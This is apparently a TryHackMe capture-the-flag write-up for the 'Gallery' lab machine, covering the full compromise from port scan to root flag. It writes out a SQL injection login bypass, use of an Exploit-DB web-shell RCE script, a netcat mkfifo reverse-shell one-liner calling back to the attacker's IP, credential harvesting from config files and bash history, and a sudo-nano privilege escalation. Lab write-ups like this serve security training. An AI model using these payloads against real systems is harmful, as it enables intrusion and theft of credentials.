THM Writeup – Gallery

THM Writeup – Gallery

thm room gallery

Try to exploit our image gallery system

Room: Gallery

Difficulty: Easy

Operating System: Linux

Author: Mikaa

Our gallery is not very well secured.

Add IP address to your hosts file:

echo '10.10.229.154    gallery.thm' >> /etc/hosts

Scan the target machine – find open ports first:

nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv gallery.thm

PORT     STATE SERVICE    REASON
80/tcp   open  http       syn-ack ttl 64
8080/tcp open  http-proxy syn-ack ttl 64

Get more details about open ports:

nmap -T4 -A -p 80,8080 gallery.thm

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Simple Image Gallery System

At this point you can answer two questions:

How many ports are open?

What’s the name of the CMS?

Browse to http://gallery.thm:8080

image gallery system login page

There is a login page, notice that we were redirected to http://10.10.229.154/gallery/login.php

I viewed the page source, but found nothing interesting.

Let’s try some basic SQL injection payloads:

login page sql injection attempt

Click Sign In:

logged in as admin

We are logged in as admin.

Note: admin' or 1=1 -- - – this payload works as well

At this point I couldn’t find anything usefull, so browsed to https://exploit-db.com and filtered simple image gallery:

exploit db search results

And found this remote code execution exploit:

simple image gallery rce

Save the exploit to a file called e.g. exploit.py and install BeautifulSoup4:

pip install BeautifulSoup4

Now run the exploit:

root@ip-10-10-118-221:~# python3 exploit.py 
TARGET = http://gallery.thm:8080
Login Bypass
shell name TagodxhaxqhdpflqxmqLetta

protecting user

User ID : 1
Firsname : Adminstrator
Lasname : Admin
Username : admin

shell uploading
- OK -
Shell URL : http://10.10.229.154/gallery/uploads/1644832740_TagodxhaxqhdpflqxmqLetta.php?cmd=whoami

Click the link provided by the exploit and you’ll see RCE works:

rce whoami works

Now try to get a reverse shell – use this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.118.221 4242 >/tmp/f

And URL encode it – I used BurpSuite’s Decoder module:

burpsuite decoder

Run the listener:

root@ip-10-10-118-221:~# nc -lnvp 4242
Listening on [0.0.0.0] (family 0, port 4242)

Now browse to http://10.10.229.154/gallery/uploads/1644832740_TagodxhaxqhdpflqxmqLetta.php?cmd=rm %2Ftmp%2Ff%3Bmkfifo %2Ftmp%2Ff%3Bcat %2Ftmp%2Ff|%2Fbin%2Fsh -i 2>%261|nc 10.10.118.221 4242 >%2Ftmp%2Ff – we received a reverse shell:

reverse shell

Stabilize the shell:

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL+Z
stty raw -echo; fg ENTER ENTER
export TERM=xterm-256color

Switch to the Simple Image Gallery’s “root” directory and list files:

www-data@gallery:/var/www/html/gallery/uploads$ cd ..
cd ..
www-data@gallery:/var/www/html/gallery$ ls -la
ls -la
total 96
drwxr-xr-x 16 www-data www-data 4096 Aug 25 10:22 .
drwxr-xr-x  3 www-data www-data 4096 Aug 25 10:39 ..
-rwxr-xr-x  1 www-data www-data  225 Mar 19  2021 .htaccess
-rwxr-xr-x  1 www-data www-data  198 Mar 19  2021 404.html
drwxr-xr-x  2 www-data www-data 4096 Aug  9  2021 albums
drwxr-xr-x  2 www-data www-data 4096 Aug  9  2021 archives
drwxr-xr-x  4 www-data www-data 4096 Jun 28  2021 assets
drwxr-xr-x  6 www-data www-data 4096 Jun 28  2021 build
drwxr-xr-x  2 www-data www-data 4096 Aug 25 09:05 classes
-rwxr-xr-x  1 www-data www-data 1629 Aug  9  2021 config.php
-rwxr-xr-x  1 www-data www-data   26 Aug 25 09:24 create_account.php
drwxr-xr-x  2 www-data www-data 4096 Aug 25 08:24 database
drwxr-xr-x  4 www-data www-data 4096 Jun 28  2021 dist
-rwxr-xr-x  1 www-data www-data 1662 Aug  9  2021 home.php
drwxr-xr-x  2 www-data www-data 4096 Jun 28  2021 inc
-rwxr-xr-x  1 www-data www-data 3208 Aug  9  2021 index.php
-rwxr-xr-x  1 www-data www-data  695 Aug 25 08:42 initialize.php
-rwxr-xr-x  1 www-data www-data 3942 Aug 25 10:22 login.php
drwxr-xr-x 61 www-data www-data 4096 Jul 16  2021 plugins
drwxr-xr-x  2 www-data www-data 4096 Aug  6  2021 report
drwxr-xr-x  2 www-data www-data 4096 Aug  6  2021 schedules
drwxr-xr-x  2 www-data www-data 4096 Jun 28  2021 system_info
drwxr-xr-x  3 www-data www-data 4096 Feb 14 09:59 uploads
drwxr-xr-x  2 www-data www-data 4096 Jun 28  2021 user

Review initialize.php:

www-data@gallery:/var/www/html/gallery$ less initialize.php
<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');

if(!defined('base_url')) define('base_url',"http://" . $_SERVER['SERVER_ADDR'] . "/gallery/");
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"localhost");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"gallery_user");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"[REDACTED]");
if(!defined('DB_NAME')) define('DB_NAME',"gallery_db");
?>

Login to mysql database:

www-data@gallery:/var/www/html/gallery$ mysql -u gallery_user -p
mysql -u gallery_user -p
Enter password: [REDACTED]

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2852
Server version: 10.1.48-MariaDB-0ubuntu0.18.04.1 Ubuntu 18.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

Now find the right database and then find admin’s hash in that database:

What’s the hash password of the admin user?

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| gallery_db         |
| information_schema |
+--------------------+
2 rows in set (0.00 sec)

MariaDB [(none)]> use gallery_db
use gallery_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [gallery_db]> show tables;
show tables;
+----------------------+
| Tables_in_gallery_db |
+----------------------+
| album_list           |
| images               |
| system_info          |
| users                |
+----------------------+
4 rows in set (0.00 sec)

MariaDB [gallery_db]> select * from users;
select * from users;
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
| id | firstname    | lastname | username | password                         | avatar                                          | last_login | type | date_added          | date_updated        |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
|  1 | Adminstrator | Admin    | admin    | [REDACTED] | uploads/1644832740_TagodxhaxqhdpflqxmqLetta.php | NULL       |    1 | 2021-01-20 14:02:37 | 2022-02-14 09:59:18 |
+----+--------------+----------+----------+----------------------------------+-------------------------------------------------+------------+------+---------------------+---------------------+
1 row in set (0.00 sec)

Find the user flag – we might be able to read it:

www-data@gallery:/var/www/html/gallery$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root root 4096 May 20  2021 .
drwxr-xr-x 23 root root 4096 Feb 12 21:42 ..
drwxr-xr-x  6 mike mike 4096 Aug 25 09:15 mike
drwx------  4 root root 4096 May 20  2021 ubuntu
www-data@gallery:/var/www/html/gallery$ cd /home/mike
cd /home/mike
www-data@gallery:/home/mike$ ls -la
ls -la
total 44
drwxr-xr-x 6 mike mike 4096 Aug 25 09:15 .
drwxr-xr-x 4 root root 4096 May 20  2021 ..
-rw------- 1 mike mike  135 May 24  2021 .bash_history
-rw-r--r-- 1 mike mike  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 mike mike 3772 May 20  2021 .bashrc
drwx------ 3 mike mike 4096 May 20  2021 .gnupg
drwxrwxr-x 3 mike mike 4096 Aug 25 09:15 .local
-rw-r--r-- 1 mike mike  807 Apr  4  2018 .profile
drwx------ 2 mike mike 4096 May 24  2021 documents
drwx------ 2 mike mike 4096 May 24  2021 images
-rwx------ 1 mike mike   32 May 14  2021 user.txt

Nope, only user mike has permissions to read it = we need to do a lateral movement = to become user mike.

Enumerate the target machine – first download linpeas.sh to your attacking machine and run python web server:

wget https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/linpeas.sh
python3 -m http.server 9000

Download the linpeas.sh file to the target machine and run it:

www-data@gallery:/home/mike$ cd /tmp
cd /tmp
www-data@gallery:/tmp$ wget http://10.10.118.221:9000/linpeas.sh
wget http://10.10.118.221:9000/linpeas.sh
--2022-02-14 10:34:49--  http://10.10.118.221:9000/linpeas.sh
Connecting to 10.10.118.221:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 762915 (745K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[===================>] 745.03K  --.-KB/s    in 0.006s  

2022-02-14 10:34:49 (120 MB/s) - 'linpeas.sh' saved [762915/762915]

www-data@gallery:/home/mike$ sh linpeas.sh | tee -a linpeas.log

The log is not readable on the target machine so transfer it to your attacking machine:

www-data@gallery:/tmp$ scp linpeas.log root@10.10.118.221:/root
scp linpeas.log root@10.10.118.221:/root
Could not create directory '/var/www/.ssh'.
The authenticity of host '10.10.118.221 (10.10.118.221)' can't be established.
ECDSA key fingerprint is SHA256:XpIU+R7a6+JR+siyOYH/n90SAk8o9VhgAU3mlI7eSpE.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
root@10.10.118.221's password: fe075e939385c49f

linpeas.log                                   100%  151KB  67.1MB/s   00:00    

Review the enumeration log:

less -R linpeas.log

An interesting directory found:

linpeas.log file content

Go to the directory /var/backups/mike_home_backup and try to find something useful:

www-data@gallery:/var/backups/mike_home_backup$ ls -lA
ls -lA
total 28
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history
-rwxr-xr-x 1 root root  220 May 24  2021 .bash_logout
-rwxr-xr-x 1 root root 3772 May 24  2021 .bashrc
drwxr-xr-x 3 root root 4096 May 24  2021 .gnupg
-rwxr-xr-x 1 root root  807 May 24  2021 .profile
drwxr-xr-x 2 root root 4096 May 24  2021 documents
drwxr-xr-x 2 root root 4096 May 24  2021 images

Great, all the files are readable, let’s check .bash_history:

www-data@gallery:/var/backups/mike_home_backup$ less .bash_history

cd ~
ls
ping 1.1.1.1
cat /home/mike/user.txt
cd /var/www/
ls
cd html
ls -al
cat index.html
sudo -l[REDACTED]
clear
sudo -l
exit

Event better – we found mike’s password.

Switch to user mike and read the user flag:

What’s the user flag?

www-data@gallery:/var/backups/mike_home_backup$ su mike
Password:

mike@gallery:/var/www/html/gallery/uploads$ cat /home/mike/user.txt
THM{[REDACTED]}

Now we need to escalate our privileges to root – try basic privilege escalation vectors:

mike@gallery:/var/backups/mike_home_backup$ sudo -l
Matching Defaults entries for mike on gallery:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mike may run the following commands on gallery:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh

Check the rootkit.sh permissions:

mike@gallery:/var/backups/mike_home_backup$ ls -la /opt/rootkit.sh
-rw-r--r-- 1 root root 364 May 20  2021 /opt/rootkit.sh

Unfortuantelly, we can only read the file, so let’s read it:

mike@gallery:/var/backups/mike_home_backup$ less /opt/rootkit.sh
#!/bin/bash

read -e -p "Would you like to versioncheck, update, list or read the report ? " ans;

# Execute your choice
case $ans in
    versioncheck)
        /usr/bin/rkhunter --versioncheck ;;
    update)
        /usr/bin/rkhunter --update;;
    list)
        /usr/bin/rkhunter --list;;
    read)
        /bin/nano /root/report.txt;;
    *)
        exit;;
esac

As we can see there are 4 options to choose from, 3 of them call rkhunter and the 4th reads /root/report.txt with /bin/nano – /bin/nano will be executed as root user since we can sudo with this command – so let’s check GTFOBins:

sudo nano gtfobins

Execute the command with sudo and type option read:

mike@gallery:/var/backups/mike_home_backup$ sudo /bin/bash /opt/rootkit.sh
Would you like to versioncheck, update, list or read the report ? read

Now it looks like this:

report.txt

Next, according to GTFOBins we have to press CTRL+R, CTRL+X, enter the command and press ENTER – we try id command:

report.txt id command

Now simply read the root flag:

What’s the root flag?

report.txt root flag

Do you like this writeup? Check out other THM Writeups.

Comments are closed.